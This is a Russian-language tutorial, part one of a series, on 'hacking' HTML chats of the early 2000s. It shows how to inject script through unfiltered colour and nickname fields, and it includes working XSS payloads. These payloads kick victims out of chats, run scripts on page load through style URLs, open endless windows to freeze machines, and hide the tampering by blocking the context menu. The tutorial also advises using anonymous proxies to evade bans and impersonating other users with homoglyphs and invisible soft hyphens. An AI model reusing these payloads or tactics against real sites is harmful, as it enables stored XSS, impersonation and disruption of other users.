Взлом чата ч.1 (Теория и Практика)



  • Часть 1
  • Часть 2


  • Данная страничка ни в коей мере не призывает к незаконной деятельности, "крекерству" и т.п. Основная цель - исследование особенностей HTML и предупреждение ошибок связанных с его использованием. За всякое незаконное использование предоставленной информации автор ответственности не несет. Обо всех обнаруженных ошибках в чатах, администрация чатов была проинформирована автором.
    Все примеры, приведеные в статье протестированы и работают в MSIE 5.50.4134.0600. Работоспособность в других версиях гарантировать не могу, но уверен, что практически все примеры будут работать и там.


    Глоссарий

    Взлом через ник(обработчик без кавычек)
    Взлом через ник(обработчик заключен в кавычки)
    Взлом через ник(фильтр не пропускает кавычек/нужных символов)
    Взлом через цвет(атрибут без кавычек)
    Взлом через цвет(атрибут с кавычками)
    На какие символы нужно проверять фильтры
    Ограничители обработчиков
    Подделка ников, пустые ники

    Общая теория

    Здесь я хочу остановиться на азах взлома чатов. Заранее извеняюсь перед продвинутыми читателями - эти методы давно известны и стары как мир. Если Вы достаточно продвинуты, можете навести фокус на последующие главы.

    Первым делом хочу заметить, что каждый чат по своему оригинален и уникален (за исключением растиражированных копий одной цгишки разумеется). Потому абсолютно универсальных способов взлома нет. Практически в каждом чате имеются особенности, которые нужно учитывать, и без учета которых, тупые шаблоны работать не будут.

    Прежде всего, что я, собственно, понимаю под взломом HTML чата? Это не банальный флуд, и не атаки на IP чата. Под взломом будем понимать несанкционированное изменение HTML документа чата, либо доступ к скрытым его частям (например приватам), т.е. такое влияние на чат, которое не было предусмотрено и дозволено для пользователей. Это в равной мере относится не только к чатам, но и к форумам, гостевым книгам и т.д. (где все описанные методы тоже работают и даже лучше, поскольку эти формы защищены, как правило, хуже чем чаты).

    Все описаное относится только к HTML чатам. Взлом Java чатов - отдельная и совершенно другая песня. Надеюсь Вы сможете отличить один тип чатов от другого :)).

    Итак, мы стоим на пороге HTML чата. Допустим, что мы хотим проверить его на "прочность". Что делать в первую очередь? В первую очередь мы подключаемся через анонимный прокси (надеюсь Вы знаете что это такое). Это нужно по двум причинам: во-первых мы обеспечиваем свою анонимность (что бы дядя админ не надавал по попке), а во-вторых, если админу все же не понравятся наши эксперименты и он закроет нам форточку в чат, то мы бы могли переключать свои прокси на другие IP адреса и снова заходить в чат. Правда тут имеется одно но: вход на некоторые чаты не разрешен через публичные прокси.

    Далее мы должны выяснить, какое собственно оружие у нас есть, то есть какие атрибуты может задавать юзер. Как правило, во всех чатах можно вводить НИК юзера, а также ЦВЕТ юзера. Помимо этого, иногда можно задавать МЫЛО юзера, его домашнюю веб-страничку, пол, частоту обновления чата и др. На практике интерес представляют такие поля как цвет, ник, мыло и домашняя страничка юзера. Именно они вставляются непосредственно в тело документа, и потому именно через них можно атаковать чат. Следует отметить, что в некоторых чатах нужна регистрация, и часть атрибутов задается при регистрации, а часть - непосредственно перед входом в чат (или уже внутри чата). Чаты с регистрацией, как правило, более круто навороченные и лучше защищены.

    > Обозначим для себя возможные пути взлома. Прежде всего наведем резкость на фрагмент кода формы, в котром задается цвет наших сообщений (кстати цвет может задаваться отдельно как для ника, так и для текста собщений - нужно проверять и тот и другой, поскольку они могут по разному анализироваться чатом). Почему нас интересует в первую очередь именно цвет? Потому, что цвет указывается внутри  тегов, в их параметрах, в отличие от, например, ника, который чаще всего фигурирует в теле  тегов. А для взлома чата нам нужно проникнуть именно во внутрь параметров тега, что бы можно было изменить его атрибуты или вставить свой скрипт (иногда конечно любые теги можно писать просто в тексте сообщений, так до недавнего времени было, например, в чате chat.rambler.ru, но этот вариант настолько туп, что таких чатов наверно уже не существует, и я его не рассматриваю). 

    Нас интересует в каком виде информация о цвете отсылается на сервер. Наименее защищен строковый тип, когда цвет передается в виде собственно своего названия. Например:

    <select name=youcolor style="width: 70px">
    <option value=blue>синий value=blue
    <option value=red>красный
    <option value=darkred>т-красный
    <option value=green>зеленый
    <option value=black>черный value=black
    <option value=lightblue>голубой value=lightblue
    </select>

    Такой чат, как правило, ломается в той или иной степени :). Более худший вариант,  если цвет возвращается в виде численного кода:

    <select name=youcolor style="width: 70px">
    <option value=#0000FF>синий value=#0000FF
    <option value=#AF0000>красный
    <option value=#FF0000>т-красный
    <option value=green>зеленый
    <option value=#000000>черный value=#000000
    <option value=#0000AF>голубой value=#0000AF
    </select>

    В таком чате, возможно , стоят фильтры на все символы кроме цифр, знака # и букв A,B,C,D,E и F. Тогда о взломе через цвет придется забыть.

    И наконец наихудший вариант, когда цвет передается просто в виде номера из списка допустимых цветов:

    <select name=youcolor style="width:70px">
    <option value=1>синий <
    <option value=2>красный <
    <option value=3>т-красный <
    <option value=4>зеленый <
    <option value=5>черный <
    <option value=6>голубой <
    </select>

    Как правило, такой чат через цвет взломать невозможно (а зачастую и вообще невозможно). Это самый защищеный вариант (кстати, рекомендую разработчикам чатов).

    Далее нам нужно изменить HTML код так, что бы мы могли свободно отсылать на сервер произвольные значения атрибутов. Для этого сохраняем сайт у себя на диске и меняем форму входа в чат (или регистрации) седующим образом: меняем относительный адрес параметра action формы на полный адрес. Заменяем все теги типа hidden на тип text, а теги select меняем на input. Кроме того нужно снять ограничения на длинну вводимого значения(если оно есть). Например если исходная форма имела вид:



    <form name="logon" method="POST" action="/cgi-bin/chat/chat.cgi">
    <table cellspacing="0" cellpadding="0">
    <tr>

    <td valign="middle">
    <small>Nickname:</small>
    <input type="text" name="username" size="12" maxlength="12" >
    </td>

    <td valign="middle"><small> TextColor:</small>
    <select name="color">

    <option selected value="black">black
    <option selected value="red">red
    <option selected value="blue">blue
    </select>

    </td>
    <td valign="middle">
     
    <small>
    <input type=submit value="Join Chat">
    </small>
    </td>

    <input type=hidden name=message value="logged on.">

    <input type=hidden name="logon" value="">
    <input type=hidden name=to value="Room">
    <input type=hidden name=frames value="yes">

    </td>
    </tr>
    </table>

    </form>


    То после соответствующих замен получим:



    <form name="logon" method="POST" action="http://typachat.ru/cgi-bin/chat/chat.cgi">

    <table cellspacing="0" cellpadding="0">
    <tr>

    <td valign="middle"><small>Nickname:</small>

    <input type="text" name="username" >

    </td>

    <td valign="middle"><small> Text Color:</small>

    <input name="color">

    <option selected value="black">black
    <option selected value="red">red
    <option selected value="blue">blue

    </select>

    </td>
    <td valign="middle">
     
    <small>
    <input type=submit value="Join Chat">
    </small>
    </td>

    <input type=text name=message value="logged on.">

    <input type=text name="logon" value="">

    <input type=text name=to value="Room">
    <input type=text name=frames value="yes">

    </td>
    </tr>
    </table>

    </form>


    Заметим, что документ может создаваться динамически через функции типа document.write(), тогда, скорее всего, придется преобразовать его в статический вид. Кроме того, часто бывает так, что после сохранения HTML на диске, чат не хочет открываться. Это может быть вызвано тем, что сайт был сохранен не полностью, если он состоял из фреймов. В таком случае нужно более тщательно разобраться в структуре странички и сохранить все правильно. Другая причина может состоять в том, что сервер отслеживает поле referer заголовка http запроса, и засекает то, что мы заходим не с его странички. В таком случае нужно применять другие методы, на которых мы остановимся в главе "Взлом на уровне http".

    Теперь мы можем экспериментировать с чатом. Прежде всего нужно выяснить какие фильтры стоят на вводимые значения (сначала для цвета и ника). Нас интересуют в первую очередь следующие символы :

    " ' ` = < > ; \ & % пробел

    Вводим их в поле цвета и ника, заходим в чат (если нас туда пустят с такими атрибутами; если не пустят, придется перебирать символы поштучно), и смотрим какие символы были пропущены фильтром (написав в чат что-нить типа "hello", и посмортев в HTML тексте какие символы цвета и ника присутствуют). Некоторые чаты просто удаляют фильтруемые символы, некоторые заменяют их на другие символы, а некоторые преобразуют в закодированную форму типа < или . Такие преобразованные символы нас не устраивают, поскольку HTML их не воспринимает (однако более подробно об этом смотрите в главе "Еще несколько взломов многострадального чата Т").

    В результате у нас должен быть список пропускаемых символов для каждого атрибута регистрационной формы.

    Далее перед нами стоит задача проникнуть внутрь любого тега для того, что бы изменить его праматры или вставить туда свой скрипт. Существует два принципиально разных способа это сделать: первый заключается в том, что бы нужный нам код передавался через атрибуты, которые уже  находятся внутри тега (т.е. между угловыми скобками) - например через цвет или адрес мыла. Второй заключается в том, что бы нарушить структуру HTML кода таким образом, что бы нужный нам код оказался внутри тега. Как это сделать определяется из анализа конкретной структуры чатовского кода и набора нефильтруемых символов для наших атрибутов. Различные варианты взлома рассмотрим на последующих примерах. А пока я хотел бы остановиться на некоторых особенностях HTML, которые собственно и позволяют производить интересные "эффекты".

    Особенности HTML

    P>Здесь я не собираюсь читать лекцию по HTML для чайников. Я надеюсь что Вы знаете что такое тег и его параметры, знакомы с  JavaScript и написали хоть одну веб-страничку в своей жизни на HTML (а не во FrontPage).

    Самая большая беда (и вместе с тем и сила) HTML в том, что у него нет единого стандарта. То есть он как бы есть, но стандарты настолько разношерстные, и их так много переплетается в HTML, что никто досконально его не знает (а зачастую и не знает что он есть). Кроме того конкуренция среди браузеров  и разношерстность сайтов ведет к тому, что браузеры стараются поддерживать как можно большее число стандартов и технологий. Причем отсутствие единых стандартов привело к тому, что веб мастера даже на одной страничке умудряются вперемешку писать в разных стилях :о(. Однако именно это позволяет хакерам взламывать HTML, и доставляет много головной боли разработчикам.

    Простой вопрос: какие есть разделители в HTML и JavaScript? Даже я не могу сразу и однозначно ответить на этот вопрос. Рассмотрим пример:

    <font onclick= "alert()">Text</font>

    Здесь все понятно и очевидно. Имеется тег  у которого есть обработчик события клика, написанный на JavaScript, текст которого заключен в двойные кавычки. То, что использутся именно JavaScript можно указать явно:

    <font onclick="javascript:alert()">Text</font>

    Ограничителями строки в этих примерах служат двойные кавычки. Однако можно обойтись и без них. Поскольку после onclick=может идти только статическая строка-обработчик, то HTML допускает опустить кавычки (это относится ко многим случаям, когда аргумент может быть только  строкой-константой). Таким образом такая конструкция тоже работает:

    <font onclick=alert()>Text</font>

    а теперь вместо пустого сообщения вставим что нибудь осмысленное:

    <font onclick=alert('Привет друзья!')>Text</font>

    Открыв ссылку демонстрации видно, что данный пример не работает. Причина вот в чем: тело обработчика можно не заключать в кавычки, но в таком случае первый же пробел считается концом строки-обработчика (даже если сам пробел находится внутри кавычек). Поэтому браузер считает обработчиком лишь фрагмент alert('Привет, и обнаружив незакрытую кавычку выдает сообщение об ошибке. А почему браузер не реагирует на то, что пробел находится внутри кавычек? Я думаю причина в том, что здесь смешиваются два языка: HTML и JavaScript. Браузер "увидел" что после знака = нет кавычки и потому стал искать пробел - как конец обработчика. Внутренность обработчика же его на этот момент не интересовала, поскольку она относилась не к HTML, а к JavaScript. Таким образом открывающую кавычку он просто не заметил и принял пробел за конец значения параметра. Cледующие конструкции работают без ошибок:

    <font onclick="alert('Привет друзья!')">Text</font>
    <font onclick=alert('Привет_друзья!')>Text</font>
    <font onclick="alert('Привет друзья!')"onmouseover='alert()'>Text</font>
    <font color=alert('Привет друзья!')>Text</font>

    Отметим важную особенность: если значение параметра тега находится в кавычках, то пробел перед следующим параметром можно опустить (третья строчка примера). Четвертая строка примера тоже работает (в том смысле что браузер не ругается, но скрипт конечно не срабатывает), поскольку браузер не считает содержимое атрибута color JavaScript-ом, и следовательно не ругается на незакрытую кавычку, хотя как значение цвета берется только фрагмент alert('Привет (в качестве цвета в HTML может выступать произвольная строка, в этом случае браузер преобразует строку в некое числовое значение которое и считает цветом).

    Есть ли другие символы - ограничители обработчика без кавычек (кроме пробела и символа > ) - вопрос открытый. Я таких не знаю, но допускаю что они могут быть.

    Как уже видно из приведеных примеров, ограничителями строк могут быть двойные и одинарные кавычки. Это в равной мере относится как к  HTML, так и к JavaScript, однако, оказывается есть, по крайней мере, еще один  символ, который является ограничителем строк в HTML (но не в JavaScript !). Это символ обратного апострофа ` (обычно находится на одной клавише с буквой Ё). Можно убедится на следующем примере:

    <font onclick=`alert('Привет друзья!')`>Text</font>

    Клянусь, что как минимум 90% веб-мастеров об этом не знают! Во всяком случае я еще не видел, что бы кто нибудь применял обратный апостроф. Этот символ - находка для хакера :)).

    Часто бывает так, что необходимо использовать внутри одних кавычек - другие. А это затруднительно, особенно если чат пропускает только один вид кавычек. Но оказывается JavaScript позволяет вставлять строковые константы внутрь других строковых констант, и при этом пользуясь одними и те ми же кавычками! Например:

    'javascript:st='Фиг вам';document.oncontextmenu=new Function('event.returnValue=alert(st)*0')'

    В примере используются вложенные одинарные кавычки, однако интерпретатор ошибки не выдает. Отмечу, что содержимое внутренних кавычек не произвольно : там не должны содержаться пробелы, и в конце недопустимы некоторые символы, например ; или ).

    Теперь поговорим о ссылках. В первую очередь нужно отметить такую деталь: развитие интернета происходило так, что в нем смешивались совершенно разные технологии. Доступ к информации может происходить посредством большого числа разных протоколов. Поэтому при указании полного пути документа (URL) допускается указывать любой из знакомых браузеру протоколов. Примечательно то, что javascript тоже отнесен к протоколам (хотя таковым не является, но видимо разработчики посчитали что будет слишком жирно выделять для скриптов отдельное понятие, и причислили их к протоколам). Поэтому везде , где в HTML документе можно указывать URL, можно вставить скрипт. И этот скрипт будет выполняться как только пользователь (или сам браузер) затребует данную ссылку. Например:

    <a href=javascript:alert()>Text</a>

    Интересно, что помимо операторов, в ссылке на JavaScript можно просто указывать строковое (или числовое) значение (однако обязательно после  операторов, если они есть). При нажатии на такую ссылку браузер сначала выполнит впереди идущие операторы, а потом откроет новый документ и поместит туда значение последней указанной в ссылке строчки:

    <a href=javascript:alert();'Hello!!'>Text</a>Отмечу что теги таким образом вставить в новую страничку нельзя.

    Взлом чата R

    Приведу пример одного из первых взломанных мною чатов. Этот чат был очень простым, и взламывался что называется с первого захода :)).

    Да и мало сейчас осталось чатов, в которых это проходит. Хотя я додумался до этих методов сам, но потом я их нашел и в хакерских журналах.

    Входная форма этого чата в точности соответствовала форме, приведенной в главе "Общая теория". После преобразования и сохранения формы на диске, я проверил какие символы в атрибуте цвета проходят. Оказалось что проходят следующие символы (из тех что нас интересуют-см. гл "Общая теория"):

    ' ` = ; % пробел

    Ну и конечно же проходили все цифры и буквы. Длинна строки-значения цвета не ограничивалась. Далее я посмотрел куда именно вставляется цвет во фрейме сообщений. Вот фрагмент этого фрейма:

    <font color=Black><b>Путник</b>- Alpha, привет ))</font>
    <font color=Red><b>Alpha</b>- Всемприветик !!</font>

    Как видно, цвет вставляется без окружающих кавычек. Это меня устраивало. Я залогинился под ником Shram (ну или почти под таким ником ;)) и цветом red size=20. Мое сообщение выглядело следующим образом:

    <font color=red size=20><b>Algol</b>- Hi</font>

    Оно выводилось очень крупным шрифтом, что немного удивило население чата :)).

    Таким образом, несмотря на то, что непосредствено теги мы вставить не можем, но разрешение на ввод пробела в атрибуте цвета, позволило нам задавать несанкционированные параметры тега . Однако мне этого было конечно мало. Менять размер шрифта конечно классно, но действительно что-то полезное можно сделать только используя скрипты. Вставить непосредственно тег script я не мог (вернее в то время я еще не знал как это сделать). Но я мог задать обработчик на какое-либо событие тега . Вот какой цвет я задавал для того, что бы удалить какого нибудь придурка из чата:
      #A0A000 onmouseover=parent.frames[2].forms[0].ExitChat.click() size=30. И затем посылал ему длинное длинное сообщение в приват. Цвет сообщения я подобрал таким образом, что бы оно не отличалось от фонового цвета. А размер шрифта и длинна сообщения были такими огромными, что жертва наверняка хоть раз прошлась мышкой по сообщению, в результате чего мой обработчик onmouseover нажимал кнопочку "покинуть чат" вместо юзера :)).

    Однако, постепенно нашлись умники, которые раскусили прикол, и намеренно не возили курсор по окну чата. Мой скрипт срабатывал не всегда :((. Сначала я думал, что выхода нет. Поскольку я могу вставлять скрипт только как обработчик события, тогда если это событие не происходит, то и скрипт не срабатывает. Но, покопавшись в "анналах", я нашел решение (сейчас оно уже стало тривиальным и широко известным). Оказалось, что в атрибуте style можно указывать URL фонового рисунка для тега. А где можно указывать URL, там можно записать и скрипт. А главное то, что фоновый рисунок загружался  сам , по окончании загрузки HTML документа! Если я хотел показать алерт участникам чата, я логинился со следующим цветом:

    style=background-image:url(javascript:alert('приветик_всем_!!'));

    Следует заметить важную деталь: поскольку структура большинства HTML чатов такова, что страница регулярно обновляется, то скрипт посланный таким образом выполняется не один раз, а много, до тех пор пока наше сообщение не исчезнет с экрана.

    А вот как теперь выглядело значения атрибута цвета для выкидывания из чата:

    style=background-image:url(javascript:parent.frames[2].forms[0].ExitChat.click());

    Нужно помнить: скрипт посланный в привате, увидит не только ваш "собеседник", но и вы сами, поэтому надо знать как самому защититься от влияния скрипта. Это можно сделать двумя способами: либо поставить самого себя в игнор (и тогда мы не будем видеть собственные сообщения), либо в настройках браузера запретить отображение картинок. Тогда скрипт, срабатывающий через фоновый рисунок, работать не будет.

    Теперь я хочу показать некотрые полезные скрипты, которые можно применять во взломанных чатах:

    javascript:navigate('http://myserver.ru');- загружает в текущий фрейм (или страницу) сайт myserver.ru.
    Некоторые чаты, при виде фрагмента http:// считают это ссылкой, и автоматически вставляют тег <a>. Поскольку это разрушит наш скрипт, то этого нельзя допускать. Для этого нужно просто опустить префикс http:(который и так принимается по умолчанию). Тогда скрипт будет выглядеть:

    javascript:navigate('//myserver.ru');.Два впереди идущих слеша - обязательны.

    javascript:parent.frames[2].document.location='http://myserver.ru' - загружает в один из фреймов сайт myserver.ru.

    javascript:for(;;)open() - открывает бесконечное число окон (если вовремя не сориентироваться, то приводит к зависанию машины и последующей перезагрузке).

    javascript:document.write('<script>alert()</script>') - заменяет текущий фрейм скриптом, который затем выполняется. Примечание: если чатне пропускает символы < и > (а это подавляющее число чатов) то такой скрипт мы вставить не сможем. Но есть выход. Это применение функции unescape(), которая преобразует ASCII-код символа в символ. Заменим угловые скобки на функцию unescape() с соответсвующими кодами, тогда наш скрипт примет вид:

    javascript:document.write(unescape('%3C')+'script'+unescape('%3E')+'alert()'+unescape('%3C')+'/script'+unescape('%3E')) javascript:this.insertBefore(e=document.createElement('IMG'));e.src='demo.jpg' - вставляет картинку после текста. Замечу, что в IE 5.x вставить можно любой тег кроме FRAME, IFRAME и SELECT.

    Но в IE 4.x функция createElement() допускает вставку только тегов IMG, AREA и OPTION. Информации насчет Netscape не имею, можете поэкспериментировать сами.

    'javascript:st='Фиг вам';document.oncontextmenu=new Function('event.returnValue=alert(st)*0')' /*блокирует выпадающее меню страницы, и следовательно делает недоступным просмотр HTML содержиме фрейма. Благодаря этому можно скрывать свои махинации с телом чата :)).*/

    Иногда бывает полезно логинится под чужим ником. Чаты с системой регистрации юзеров не позволят вам это сделать, если вы не знаете пароля (а вы его скорее всего и не знаете). Банальный выход : регистрация с ником в котором буква латинского алфавита заменятеся на очень похожую букву русской раскладки. Например логинимся под ником admin где латинская буква а заменена на русскую а. Метод примитивный, но работает )). Бывают и более тяжелые случаи. Например в некоторых чатах запрещено использование в одном нике символов из разных раскладок. Тогда пытливому уму ничего не остается делать, как обратится к дяде Гейтсу за помощью. И вот она доброта людская, Microsoft не забыл про грешных юзеров и подарил нам символ ­(он же ­ он же %AD), который сама микрософта назвала "Soft hyphen" ("Короткий дефис"). Он действительно в Word выглядит как дефис, и в экселе тоже, и даже в блокноте, но только не в IE! Для майкрософтовского эскплорера символа ­ просто не существует, то есть он как бы есть, но для него забыли  сделать графическое представление. Он просто напросто не прорисовывается в HTML страничке!

    Таким образом, добавив короткий дефис к любому нику и зарегестрировавшись под ним, мы входим в чат с ником, который будет выглядеть на HTML странице точно так же как и ник без дефиса. А можно сделать еще круче - залогиниться под ником, сотоящим только из символов короткого дефиса. Тогда ваш ник вообще не будет отображаться в чате, абсолютно пустое место)).

    (Примечание: Повозившись еше немного с символом короткого дефиса я все же обнаружил случаи, когда он появляется: Он появляется только как символ переноса. То есть если внутри слова стоит короткий дефис и если это слово стоит в конце строки, то часть слова после дефиса может быть перенесена на следующую строку, а сам дефис становится видимым! Таким образом, возможно невидимость дефиса - преднамеренная фича майкрософта (что впрочем не уменьшает его полезность при взломах :)). Правда непонятно почему же он все-таки остается всегда видимым в остальных приложениях?)



    Далее 2ч.>>